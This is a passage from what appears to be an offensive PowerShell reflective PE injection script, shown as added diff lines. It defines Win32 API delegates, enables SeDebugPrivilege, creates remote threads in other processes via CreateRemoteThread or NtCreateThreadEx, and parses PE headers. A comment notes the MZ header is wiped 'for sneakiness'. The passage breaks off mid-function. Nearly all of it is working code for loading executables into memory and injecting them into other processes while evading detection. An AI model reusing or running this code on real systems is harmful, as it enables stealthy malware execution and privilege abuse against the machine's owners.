-Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] + [IntPtr] + $EndAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr]::Zero + if ($PsCmdlet.ParameterSetName -eq "Size") + { + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + } + else + { + $FinalEndAddress = $EndAddress + } + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Invoke-CreateRemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Verbose "Error creating remote thread, thread handle is null" + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function 